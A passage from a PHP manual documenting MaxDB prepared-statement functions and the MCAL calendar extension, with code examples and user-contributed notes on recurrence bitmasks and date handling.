$maxdb->query("INSERT INTO temp.friends VALUES (1,'Hartmut')");
$maxdb->query("INSERT INTO temp.friends VALUES (2, 'Ulf')");

$stmt = $maxdb->prepare("SELECT id, name FROM temp.friends");
$stmt->execute();

/* get resultset for metadata */
$result = $stmt->result_metadata();

/* retrieve field information from metadata result set */
$field = $result->fetch_field();

printf("Fieldname: %s\n", $field->name);

/* close resultset */
$result->close();

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

maxdb_query($link, "CREATE TABLE temp.friends (id int, name varchar(20))");

maxdb_query($link, "INSERT INTO temp.friends VALUES (1,'Hartmut')");
maxdb_query($link, "INSERT INTO temp.friends VALUES (2, 'Ulf')");

$stmt = maxdb_prepare($link, "SELECT id, name FROM temp.friends");
maxdb_stmt_execute($stmt);

/* get resultset for metadata */
$result = maxdb_stmt_result_metadata($stmt);

/* retrieve field information from metadata result set */
$field = maxdb_fetch_field($result);

printf("Fieldname: %s\n", $field->name);

/* close resultset */
maxdb_free_result($result);

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Fieldname: ID

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_stmt_reset | 上一级 | maxdb_stmt_send_long_data


maxdb_stmt_send_long_data

(PECL)

maxdb_stmt_send_long_data

(no version information, might be only in CVS)

stmt->send_long_data -- Send data in blocks

Description

Procedural style:

bool maxdb_stmt_send_long_data ( resource stmt, int param_nr, string data )

Object oriented style (method)

class stmt {

bool stmt_send_long_data ( int param_nr, string data )

}

Allows to send parameter data to the server in pieces (or chunks). This function can be called multiple times to send the parts of a character or binary data value for a column, which must be one of the TEXT or BLOB datatypes.

param_nr indicates which parameter to associate the data with. Parameters are numbered beginning with 0. data is a string containing data to be sent.

注: For efficiency reasons, this function should be used after calling maxdb_execute(). In this case, the data is not stored on the client side. The end of the sequence must end with a call to maxdb_stmt_close_long_data().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

maxdb_prepare(), maxdb_stmt_bind_param()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_stmt_result_metadata | 上一级 | maxdb_stmt_sqlstate


maxdb_stmt_sqlstate

(PECL)

maxdb_stmt_sqlstate -- Returns SQLSTATE error from previous statement operation

Description

string maxdb_stmt_sqlstate ( resource stmt )

Returns a string containing the SQLSTATE error code for the most recently invoked prepared statement function that can succeed or fail. The error code consists of five characters. '00000' means no error. The values are specified by ANSI SQL and ODBC.

注: Note that not all MaxDB errors are yet mapped to SQLSTATE's. The value HY000 (general error) is used for unmapped errors.

Return values

Returns a string containing the SQLSTATE error code for the last error. The error code consists of five characters. '00000' means no error.

See also

maxdb_stmt_errno(), maxdb_stmt_error()

Example

例子 1. Object oriented style

<?php
/* Open a connection */
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$maxdb->query("CREATE TABLE temp.mycity LIKE hotel.city");
$maxdb->query("INSERT INTO temp.mycity SELECT * FROM hotel.city");

$query = "SELECT name, zip FROM temp.mycity ORDER BY name";
if ($stmt = $maxdb->prepare($query)) {

   /* drop table */
   $maxdb->query("DROP TABLE temp.mycity");

   /* execute query */
   $stmt->execute();

   printf("Error: %s.\n", $stmt->sqlstate);

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
/* Open a connection */
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_query($link, "CREATE TABLE temp.mycity LIKE hotel.city");
maxdb_query($link, "INSERT INTO temp.mycity SELECT * FROM hotel.city");

$query = "SELECT name, zip FROM temp.mycity ORDER BY name";
if ($stmt = maxdb_prepare($link, $query)) {

   /* drop table */
   maxdb_query($link, "DROP TABLE temp.mycity");

   /* execute query */
   maxdb_stmt_execute($stmt);

   printf("Error: %s.\n", maxdb_stmt_sqlstate($stmt));

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Warning: maxdb_stmt_execute(): -4004 POS(23) Unknown table name:MYCITY [42000] <...>
Error: 42000.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_stmt_send_long_data | 上一级 | maxdb_stmt_store_result


maxdb_stmt_store_result

(PECL)

maxdb_stmt_store_result

(no version information, might be only in CVS)

maxdb->store_result -- Transfers a result set from a prepared statement

Description

Procedural style:

bool maxdb_stmt_store_result ( resource stmt )

Object oriented style (method):

class maxdb {

object store_result ( void )

}

maxdb_stmt_store_result() has no functionally effect and should not be used for retrieving data from MaxDB server.

Return values

如果成功则返回 TRUE，失败则返回 FALSE。

See also

maxdb_prepare(),
maxdb_stmt_result_metadata(),
maxdb_fetch()

Example

例子 1. Object oriented style

<?php
/* Open a connection */
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, zip FROM hotel.city ORDER BY name";
if ($stmt = $maxdb->prepare($query)) {

   /* execute query */
   $stmt->execute();

   /* store result */
   $stmt->store_result();

   printf("Number of rows: %d.\n", $stmt->num_rows);

   /* free result */
   $stmt->free_result();

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
/* Open a connection */
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, zip FROM hotel.city ORDER BY name";
if ($stmt = maxdb_prepare($link, $query)) {

   /* execute query */
   maxdb_stmt_execute($stmt);

   /* store result */
   maxdb_stmt_store_result($stmt);

   printf("Number of rows: %d.\n", maxdb_stmt_num_rows($stmt));

   /* free result */
   maxdb_stmt_free_result($stmt);

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Number of rows: 25.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_stmt_sqlstate | 上一级 | maxdb_store_result


maxdb_store_result

(PECL)

maxdb_store_result

(no version information, might be only in CVS)

maxdb->store_result -- Transfers a result set from the last query

Description

Procedural style:

resource maxdb_store_result ( resource link )

Object oriented style (method):

class maxdb {

object store_result ( void )

}

This function has no functionally effect.

Return values

Returns a result resource or FALSE if an error occurred.

See also

maxdb_real_query(), maxdb_use_result().

Example

See maxdb_multi_query().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_stmt_store_result | 上一级 | maxdb_thread_id


maxdb_thread_id

(PECL)

maxdb_thread_id

(no version information, might be only in CVS)

maxdb->thread_id -- Returns the thread ID for the current connection

Description

Procedural style:

int maxdb_thread_id ( resource link )

Object oriented style (property):

class maxdb {

int thread_id

}

The maxdb_thread_id() function returns the thread ID for the current connection which can then be killed using the maxdb_kill() function. If the connection is lost and you reconnect with maxdb_ping(), the thread ID will be other. Therefore you should get the thread ID only when you need it.

注: The thread ID is assigned on a connection-by-connection basis. Hence, if the connection is broken and then re-established a new thread ID will be assigned.

Return values

maxdb_thread_id() returns the Thread ID for the current connection.

See also

maxdb_kill()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* determine our thread id */
$thread_id = $maxdb->thread_id;

/* Kill connection */
$maxdb->kill($thread_id);

/* This should produce an error */
if (!$maxdb->query("CREATE TABLE mycity LIKE hotel.city")) {
   printf("Error: %s\n", $maxdb->error);
   exit;
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* determine our thread id */
$thread_id = maxdb_thread_id($link);

/* Kill connection */
maxdb_kill($link, $thread_id);

/* This should produce an error */
if (!maxdb_query($link, "CREATE TABLE mycity LIKE hotel.city")) {
   printf("Error: %s\n", maxdb_error($link));
   exit;
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Warning: maxdb_query(): -10821 Session not connected <...>
Error: Session not connected

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_store_result | 上一级 | maxdb_thread_safe


maxdb_thread_safe

(no version information, might be only in CVS)

maxdb_thread_safe -- Returns whether thread safety is given or not

Description

Procedural style:

bool maxdb_thread_safe ( void )

maxdb_thread_safe() indicates whether the client library is compiled as thread-safe.

Return values

TRUE if the client library is thread-safe, otherwise FALSE.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_thread_id | 上一级 | maxdb_use_result


maxdb_use_result

(PECL)

maxdb_use_result

(no version information, might be only in CVS)

maxdb->use_result -- Initiate a result set retrieval

Description

Procedural style:

resource maxdb_use_result ( resource link )

Object oriented style (method):

class maxdb {

resource use_result ( void )

}

maxdb_use_result() has no effect.

Return values

Returns result or FALSE in case of error.

See also

maxdb_real_query(), maxdb_store_result().

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query  = "SELECT * FROM DUAL";

/* execute multi query */
if ($maxdb->multi_query($query)) {
   do {
       /* store first result set */
       if ($result = $maxdb->use_result()) {
           while ($row = $result->fetch_row()) {
               printf("%s\n", $row[0]);
           }
           $result->close();
       }
       /* print divider */
       if ($maxdb->more_results()) {
           printf("-----------------\n");
       }
   } while ($maxdb->next_result());
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query  = "SELECT * FROM DUAL";

/* execute multi query */
if (maxdb_multi_query($link, $query)) {
   do {
       /* store first result set */
       if ($result = maxdb_use_result($link)) {
           while ($row = maxdb_fetch_row($result)) {
               printf("%s\n", $row[0]);
           }
           maxdb_free_result($result);
       }
       /* print divider */
       if (maxdb_more_results($link)) {
           printf("-----------------\n");
       }
   } while (maxdb_next_result($link));
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

a

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_thread_safe | 上一级 | maxdb_warning_count


maxdb_warning_count

(PECL)

maxdb_warning_count

(no version information, might be only in CVS)

maxdb->warning_count -- Returns the number of warnings from the last query for the given link

Description

Procedural style:

int maxdb_warning_count ( resource link )

Object oriented style (property):

class maxdb {

int warning_count

}

maxdb_warning_count() returns the number of warnings from the last query in the connection represented by the link parameter.

Return values

Number of warnings or zero if there are no warnings.

See also

maxdb_errno(),
maxdb_error(),
maxdb_sqlstate()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$maxdb->query("CREATE TABLE temp.mycity LIKE hotel.city");

/* a remarkable city in Wales */
$query = "INSERT INTO temp.mycity (zip, name) VALUES('11111',
       'Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch')";

$maxdb->query($query);

printf ("Number of warning: %d\n", $maxdb->warning_count);

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_query($link, "CREATE TABLE temp.mycity LIKE hotel.city");

/* a remarkable long city name in Wales */
$query = "INSERT INTO temp.mycity (zip, name) VALUES('11111',
       'Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch')";

maxdb_query($link, $query);

printf ("Number of warning: %d\n", maxdb_warning_count($link));

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Warning: maxdb_query(): -8004 POS(62) Constant must be compatible with column type and length <...>
Number of warning: 0

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_use_result | 上一级 | MCAL Functions


MCAL Functions

PHP 手册
后退 前进

LXIX. MCAL Functions

简介

MCAL stands for Modular Calendar Access Library.

Libmcal is a C library for accessing calendars. It's written to be very modular, with pluggable drivers. MCAL is the calendar equivalent of the IMAP module for mailboxes.

With mcal support, a calendar stream can be opened much like the mailbox stream with the IMAP support. Calendars can be local file stores, remote ICAP servers, or other formats that are supported by the mcal library.

Calendar events can be pulled up, queried, and stored. There is also support for calendar triggers (alarms) and recurring events.

With libmcal, central calendar servers can be accessed, removing the need for any specific database or local file programming.

Most of the functions use an internal event structure that is unique for each stream. This alleviates the need to pass around large objects between functions. There are convenience functions for setting, initializing, and retrieving the event structure values.

注: 本扩展已被移动到 PECL 库中且自以下版本起不再被绑定到 PHP 中：5.0.0.

注: PHP had an ICAP extension previously, but the original library and the PHP extension is not supported anymore. The suggested replacement is MCAL.

注: 本扩展模块在 Windows 平台下不可用。

需求

This extension requires the mcal library to be installed. Grab the latest version from http://mcal.chek.com/ and compile and install it.

安装

After you installed the mcal library, to get these functions to work, you have to compile PHP -with-mcal[=DIR].

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

MCAL_SUNDAY (integer)

MCAL_MONDAY (integer)

MCAL_TUESDAY (integer)

MCAL_WEDNESDAY (integer)

MCAL_THURSDAY (integer)

MCAL_FRIDAY (integer)

MCAL_SATURDAY (integer)

MCAL_JANUARY (integer)

MCAL_FEBRUARY (integer)

MCAL_MARCH (integer)

MCAL_APRIL (integer)

MCAL_MAY (integer)

MCAL_JUNE (integer)

MCAL_JULY (integer)

MCAL_AUGUST (integer)

MCAL_SEPTEMBER (integer)

MCAL_OCTOBER (integer)

MCAL_NOVEMBER (integer)

MCAL_DECEMBER (integer)

MCAL_RECUR_NONE (integer)

MCAL_RECUR_DAILY (integer)

MCAL_RECUR_WEEKLY (integer)

MCAL_RECUR_MONTHLY_MDAY (integer)

MCAL_RECUR_MONTHLY_WDAY (integer)

MCAL_RECUR_YEARLY (integer)

MCAL_M_SUNDAY (integer)

MCAL_M_MONDAY (integer)

MCAL_M_TUESDAY (integer)

MCAL_M_WEDNESDAY (integer)

MCAL_M_THURSDAY (integer)

MCAL_M_FRIDAY (integer)

MCAL_M_SATURDAY (integer)

MCAL_M_WEEKDAYS (integer)

MCAL_M_WEEKEND (integer)

MCAL_M_ALLDAYS (integer)

目录
mcal_append_event -- Store a new event into an MCAL calendar
mcal_close -- Close an MCAL stream
mcal_create_calendar -- Create a new MCAL calendar
mcal_date_compare -- Compares two dates
mcal_date_valid -- Returns TRUE if the given year, month, day is a valid date
mcal_day_of_week -- Returns the day of the week of the given date
mcal_day_of_year -- Returns the day of the year of the given date
mcal_days_in_month -- Returns the number of days in a month
mcal_delete_calendar -- Delete an MCAL calendar
mcal_delete_event -- Delete an event from an MCAL calendar
mcal_event_add_attribute -- Adds an attribute and a value to the streams global event structure
mcal_event_init -- Initializes a streams global event structure
mcal_event_set_alarm -- Sets the alarm of the streams global event structure
mcal_event_set_category -- Sets the category of the streams global event structure
mcal_event_set_class -- Sets the class of the streams global event structure
mcal_event_set_description -- Sets the description of the streams global event structure
mcal_event_set_end -- Sets the end date and time of the streams global event structure
mcal_event_set_recur_daily -- Sets the recurrence of the streams global event structure
mcal_event_set_recur_monthly_mday -- Sets the recurrence of the streams global event structure
mcal_event_set_recur_monthly_wday -- Sets the recurrence of the streams global event structure
mcal_event_set_recur_none -- Sets the recurrence of the streams global event structure
mcal_event_set_recur_weekly -- Sets the recurrence of the streams global event structure
mcal_event_set_recur_yearly -- Sets the recurrence of the streams global event structure
mcal_event_set_start -- Sets the start date and time of the streams global event structure
mcal_event_set_title -- Sets the title of the streams global event structure
mcal_expunge -- Deletes all events marked for being expunged
mcal_fetch_current_stream_event -- Returns an object containing the current streams event structure
mcal_fetch_event -- Fetches an event from the calendar stream
mcal_is_leap_year -- Returns if the given year is a leap year or not
mcal_list_alarms -- Return a list of events that has an alarm triggered at the given datetime
mcal_list_events -- Return a list of IDs for a date or a range of dates
mcal_next_recurrence -- Returns the next recurrence of the event
mcal_open -- Opens up an MCAL connection
mcal_popen -- Opens up a persistent MCAL connection
mcal_rename_calendar -- Rename an MCAL calendar
mcal_reopen -- Reopens an MCAL connection
mcal_snooze -- Turn off an alarm for an event
mcal_store_event -- Modify an existing event in an MCAL calendar
mcal_time_valid -- Returns TRUE if the given hour, minutes and seconds is a valid time
mcal_week_of_year -- Returns the week number of the given date

add a note add a note User Contributed Notes
verdy_p at wanadoo dot fr
13-May-2002 02:55
Correction to previous extensive note:
ANDing distinct bit values will always result in zero, so your weekly events won't ever be raised. You must use the bitwise-or operator (|) to combine several week days.

mcal_event_set_recur_weekly takes an additional integer parameter
"weekdays" which is basicly a binary mask created by bitwise
ORing together integers representing the days of the week.

Sunday = 1
Monday = 2
Tuesday = 4
Wednesday = 8
Thursday = 16
Friday = 32
Saturday = 64

So if I wanted the value needed to raise the event every "Monday, Wednesday, and Friday" I would do this:
$weekdays = 2 | 8 | 32;
jeff at univrel dot pr dot uconn dot edu
04-Jul-2001 03:03
As of 7/3/2001, libmcal can be built shared (libmcal.so), which should get rid of the linking problem with the MySQL driver. Check the latest version out of the repository if you're planning on building it this way.
lurker at shadowtech dot org
23-Dec-2000 05:04
After a thorough search of the web for documentation of how recurence works in MCAL, or even for documentation of the recurence function parameters, I found nothing.  So, I gave up and dove into the MCAL source code for answers, and this is what I have found.  Please keep in mind that this is all "As far as I can tell" information.

First of all, I believe that mcal_list_events DOES return events that recur in the range being searched.

The mcal_event_set_recur_* functions take in an mcal stream, and date for the event to stop recuring by (given by day, month, year), and an "interval".

mcal_event_set_recur_weekly takes an additional integer parameter "weekdays" which is basicly a binary mask created by bitwise ANDing together integers representing the days of the week.

Sunday = 1
Monday = 2
Tuesday = 4
Wednesday = 8
Thursday = 16
Friday = 32
Saturday = 64

So if I wanted the value that represented  "Monday, Wednesday, and Friday" I would do this:
$weekdays = 2 & 8 & 32;

Here is how to interpret "interval" and "weekdays".

For mcal_event_set_recur_daily:
This event should recur every "interval" days.

For mcal_event_set_recur_weekly:
This event should recur on every day specified in "weekdays", and should do so every "interval" weeks.

For mcal_event_set_recur_monthly_mday:
This event should recur on the "interval" day of every month.

For mcal_event_set_recur_monthly_wday:
This event should recur every on every Xday of the Yth week of the month, every "interval" months. (Where Xday is a day of the week, e.g. Monday, Tuesday, etc.  Note: This is the one I am the least sure about though it seems to be the logical assumption for how it should work based on the fact that there are two monthly functions and the other one's operation is intuitive.)

For mcal_event_set_recur_yearly:
This event should recur every "interval" years.
inan at canada dot com
26-Mar-2000 07:59
MCAL is a great little package, but has changed quite a bit since the documentation has been updated.  If you're having trouble stop by mcal.chek.com and pop a question onto the mcal users mailing list and we'll be happy to help you out.
add a note add a note

后退 | 起点 | 前进
maxdb_warning_count | 上一级 | mcal_append_event


mcal_append_event

(PHP 4, PECL)

mcal_append_event -- Store a new event into an MCAL calendar

Description

int mcal_append_event ( int mcal_stream )

mcal_append_event() stores the global event into an MCAL calendar for the stream mcal_stream.

Returns the id of the newly inserted event.

add a note add a note User Contributed Notes
php at markbach dot com
18-Jun-2004 12:33
It appears that MCAL uses the current time (seconds since the epoch) as the "unique" ID when inserting new events into the calendar.  Thus, if you try to insert several events at once, it will not work correctly unless you wait at least one second between calling mcal-append-event().

This is with libmcal 0.6 and PHP 4.3.4.
add a note add a note

后退 | 起点 | 前进
MCAL Functions | 上一级 | mcal_close


mcal_close

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_close -- Close an MCAL stream

Description

bool mcal_close ( int mcal_stream [, int flags] )

Closes the given mcal stream.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_append_event | 上一级 | mcal_create_calendar


mcal_create_calendar

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_create_calendar -- Create a new MCAL calendar

Description

bool mcal_create_calendar ( int stream, string calendar )

Creates a new calendar named calendar.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_close | 上一级 | mcal_date_compare


mcal_date_compare

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_date_compare -- Compares two dates

Description

int mcal_date_compare ( int a_year, int a_month, int a_day, int b_year, int b_month, int b_day )

mcal_date_compare() Compares the two given dates, returns <0, 0, >0 if a<b, a==b, a>b respectively.

add a note add a note User Contributed Notes
asharm4 at ilstu dot edu
14-Sep-2005 11:41
//this function compares any date to current date and returns results in form of integers..

function date_compare ( $b_year, $b_month, $b_day )
{
$a_year = $today["year"];
$a_month = $today["mon"];
$a_day = $today["mday"];
$final_result = 9; //set it to random  right now
if($a_year >$b_year)
  {
   $final_result = 1; //the year 1 is greater then year 2 so no more check required
  }//year greater
else if($a_year == $b_year) //the years are the same ..so check the month
  {
   if($a_month > $b_month)
   {
     $final_result = 2; //the months are greater and so no more checks needed
   }//greater month check
   else
   if($a_month == $b_month)//same months ..so check dates
   {
         if($a_day > $b_day)
         {
         $final_result = 3; //the days solve the problem :)
         }
         else if($a_day == $b_day)
         {
         $final_result = 4; //the dates are identical too..so date1 becomes equal to date 2
         }
         else
         {
           $final_result = -3; //the date1 < $date 2
         }
   }//equal month check
   else
   {
     $final_result = -2;
   }//month1  < month2
  }//year same
else
   {
   $final_result = -1; //the year 1 is smaller then year 2 ..hence date1 < date2
   }
return $final_result;
}
asharm4 at ilstu dot edu
14-Sep-2005 11:25
//function to compare existing date from database to the current date
  $check_array_deadline = explode("/", "08/24/2005");//this date is from database and in the format mm/dd/yyyy
 $a_year = $today["year"];
 $a_month = $today["mon"];
 $a_day = $today["mday"];
$b_year = $check_array_deadline[2];
$b_month = $check_array_deadline[0];
$b_day = $check_array_deadline[1];
$check_date = date_compare( $a_year, $a_month, $a_day, $b_year, $b_month, $b_day );

function date_compare ( $a_year, $a_month, $a_day, $b_year, $b_month, $b_day )
{
$final_result = 9; //set it to random  right now
if($a_year >$b_year)
  {
   $final_result = 1; //the year 1 is greater then year 2 so no more check required
  }//year greater
else if($a_year == $b_year) //the years are the same ..so check the month
  {
   if($a_month > $b_month)
   {
     $final_result = 2; //the months are greater and so no more checks needed
   }//greater month check
   else
   if($a_month == $b_month)//same months ..so check dates
   {
         if($a_day > $b_day)
         {
         $final_result = 3; //the days solve the problem :)
         }
         else if($a_day == $b_day)
         {
         $final_result = 4; //the dates are identical too..so date1 becomes equal to date 2
         }
         else
         {
           $final_result = -3; //the date1 < $date 2
         }
   }//equal month check
   else
   {
     $final_result = -2;
   }//month1  < month2
  }//year same
else
   {
   $final_result = -1; //the year 1 is smaller then year 2 ..hence date1 < date2
   }
return $final_result;
}
add a note add a note

后退 | 起点 | 前进
mcal_create_calendar | 上一级 | mcal_date_valid


mcal_date_valid

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_date_valid -- Returns TRUE if the given year, month, day is a valid date

Description

bool mcal_date_valid ( int year, int month, int day )

mcal_date_valid() Returns TRUE if the given year, month and day is a valid date, FALSE if not.

add a note add a note User Contributed Notes
froeschli at gmx dot net
02-Mar-2006 06:36
Knows if there is a 29th february in given year. Very useful!!
add a note add a note

后退 | 起点 | 前进
mcal_date_compare | 上一级 | mcal_day_of_week


mcal_day_of_week

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_day_of_week -- Returns the day of the week of the given date

Description

int mcal_day_of_week ( int year, int month, int day )

mcal_day_of_week() returns the day of the week of the given date. Possible return values range from 0 for Sunday through 6 for Saturday.

add a note add a note User Contributed Notes
ssimon at latinschool dot org
05-Aug-2003 11:29
If you don't have mcal, and need a replacement, here is an even easier way:

<?php

$utime = mktime (1,1,1,$month,$day,$year);
$weekday=date('w',$utime);  //  0 for Sunday through 6 for Saturday, just like mcal_day_of_week

?>
mail at azov dot info
30-Jul-2003 08:17
I did it much easier (without "mcal" library):

function convertday($n){

switch ($n){
case "Mon": return "Monday";break;
case "Tue": return "Tuesday";break;
case "Wed": return "Wednesday";break;
case "Thu": return "Thursday";break;
case "Fri": return "Friday";break;
case "Sat": return "Saturday";break;
case "Sun": return "Sunday";break;
};

};

function curdate(){

$ret=date("d-m-Y").", ".convertday(date("D"));

return $ret;
};
cigalcohol at yahoo dot com
11-Aug-2002 05:35
I don't have the MCAL lib, so I wrote a script that will return the day of the week for any date 2000+ using Zeller's Rule:

http://mathforum.org/dr.math/faq/faq.calendar.html

I only needed it to work for this century, so I replaced a few variables with constants, and I split up the equation itself into its component parts because I'm something of a n00b and I get condused easily.

$y needs to be two digits, not four, eg, "02", "13", vs 2002, 2013, &c.

<?

if ( $m >= "3") {
     $mn = $m - 2; }
else {
     $mn = $m + 10; }

if ( $mn >= "11" ) {
     $yn = $y - 1; }
else { $yn = $y; }

$rem = $d;

$rem =  floor((13*$mn-1)/5) + $rem;

$rem = $rem + $yn;

$rem = floor($yn/4) + $rem;

$rem = $rem  - 35;

$rem = $rem % 7;

if ($rem < 0) {
     $rem = $rem + 7;}

if ($rem == "0") { $w = "Sun"; }
elseif ($rem == "1") { $w = "Mon"; }
elseif ($rem == "2") { $w = "Tue"; }
elseif ($rem == "3") { $w = "Wed"; }
elseif ($rem == "4") { $w = "Thu"; }
elseif ($rem == "5") { $w = "Fri"; }
elseif ($rem == "6") { $w = "Sat"; }

echo "$m.$d.$y is a $w";

?>
dagjo at stud dot ntnu dot no
04-Jun-2001 02:57
It is quite straightforward... Here's an example:

<?php

$year = strftime('%Y');
$month = strftime('%m');
$day = strftime('%d');

$weekDay = mcal_day_of_week($year, $month, $day);

switch ($weekDay) {
case 0:
print("Today is Sunday");
break;

case 1:
print("Today is Monday");
break;

...

case 6:
print("Today is Saturday");
break;
} // end switch

?>
add a note add a note

后退 | 起点 | 前进
mcal_date_valid | 上一级 | mcal_day_of_year


mcal_day_of_year

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_day_of_year -- Returns the day of the year of the given date

Description

int mcal_day_of_year ( int year, int month, int day )

mcal_day_of_year() returns the day of the year of the given date.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_day_of_week | 上一级 | mcal_days_in_month


mcal_days_in_month

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_days_in_month -- Returns the number of days in a month

Description

int mcal_days_in_month ( int month, int leap_year )

mcal_days_in_month() returns the number of days in the month month, taking into account if the considered year is a leap year or not.

add a note add a note User Contributed Notes
tmhesket_AT_BRADFORDdot_ac_DOTuk
15-May-2002 12:13
In case anyone gets confused in the same way I did, the "int leap year" parameter is not for the year itself.

"int leap year" is a boolean indicating whether the year in question is a leap year.

If you have $month and $year, you can find out the number of days easily:

mcal_days_in_month($month, mcal_is_leap_year($year))
add a note add a note

后退 | 起点 | 前进
mcal_day_of_year | 上一级 | mcal_delete_calendar


mcal_delete_calendar

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_delete_calendar -- Delete an MCAL calendar

Description

bool mcal_delete_calendar ( int stream, string calendar )

Deletes the calendar named calendar.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_days_in_month | 上一级 | mcal_delete_event


mcal_delete_event

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_delete_event -- Delete an event from an MCAL calendar

Description

bool mcal_delete_event ( int mcal_stream, int event_id )

mcal_delete_event() deletes the calendar event specified by the event_id.

Returns TRUE.

add a note add a note User Contributed Notes
08-Feb-2000 06:48
Current usage is:
mcal_delete_event($stream [, $eventid] );
add a note add a note

后退 | 起点 | 前进
mcal_delete_calendar | 上一级 | mcal_event_add_attribute


mcal_event_add_attribute

(PHP 3 >= 3.0.15, PHP 4, PECL)

mcal_event_add_attribute -- Adds an attribute and a value to the streams global event structure

Description

bool mcal_event_add_attribute ( int stream, string attribute, string value )

mcal_event_add_attribute() adds an attribute to the stream's global event structure with the value given by "value".

add a note add a note User Contributed Notes
mikep at oeone dot com
26-Apr-2001 07:01
Actually, they are returned as part of the "attrlist" attribute of the object which gets returned from fetch_event.

This code might help people:

$event=mcal_fetch_event($this->Stream,$EventID);
$AttributeArray = $event->attrlist;
       if (is_array($AttributeArray))
       {
           foreach ($AttributeArray as $key=>$value)
           {
             echo "  Event['".$key."'] = '" . $value ."';\n";
           }
       }
wokzilla at wokzilla dot com
19-Jan-2001 08:14
This might useful if there was a mcal_event_get_attribute function. There doesn't seem to be any way to get at the attribute the next time you access the calendar.
add a note add a note

后退 | 起点 | 前进
mcal_delete_event | 上一级 | mcal_event_init


mcal_event_init

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_event_init -- Initializes a streams global event structure

Description

void mcal_event_init ( int stream )

mcal_event_init() initializes a streams global event structure. this effectively sets all elements of the structure to 0, or the default settings.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_event_add_attribute | 上一级 | mcal_event_set_alarm


